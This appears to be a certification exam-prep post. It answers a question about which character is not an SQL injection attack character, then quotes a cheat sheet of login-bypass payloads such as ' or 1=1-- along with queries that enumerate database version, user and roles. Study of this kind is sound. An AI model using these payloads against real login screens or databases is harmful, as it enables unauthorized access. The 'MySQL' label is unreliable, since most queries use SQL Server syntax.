Which of the following is not the SQL injection attack character?

“A” Ecsa v8 page 606 SQL injection attack characters

A is the only one NOT on page 606…

A is the correct answer.

We don’t use $ (dollar sign) to make up the SQL Injection payload.

The following is derived from “MySQL SQL Injection Cheat Sheet.”

======

Login Notes

Bypassing Login Screens SQL Injection 101, Login tricks
admin’ —
admin’ #
admin’/*
‘ or 1=1–
‘ or 1=1#
‘ or 1=1/*
‘) or ‘1’=’1–
‘) or (‘1’=’1–

======

Initial Exploitation

Version SELECT @@VERSION
Current User SELECT user_name();
SELECT system_user;
SELECT user;
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
Current Database SELECT db_name()

======

Privileges

IS_MEMBER()
The function indicates whether the current user is a member of the specified Microsoft Windows group or SQL Server database role.

IF IS_MEMBER (‘db_owner’) = 1
PRINT ‘Current user is a member of the db_owner role’

IS_SRVROLEMEMBER()
Indicates whether a SQL Server login is a member of the specified fixed server role.

IF IS_SRVROLEMEMBER (‘sysadmin’) = 1
print ‘Current user”s login is a member of the sysadmin role’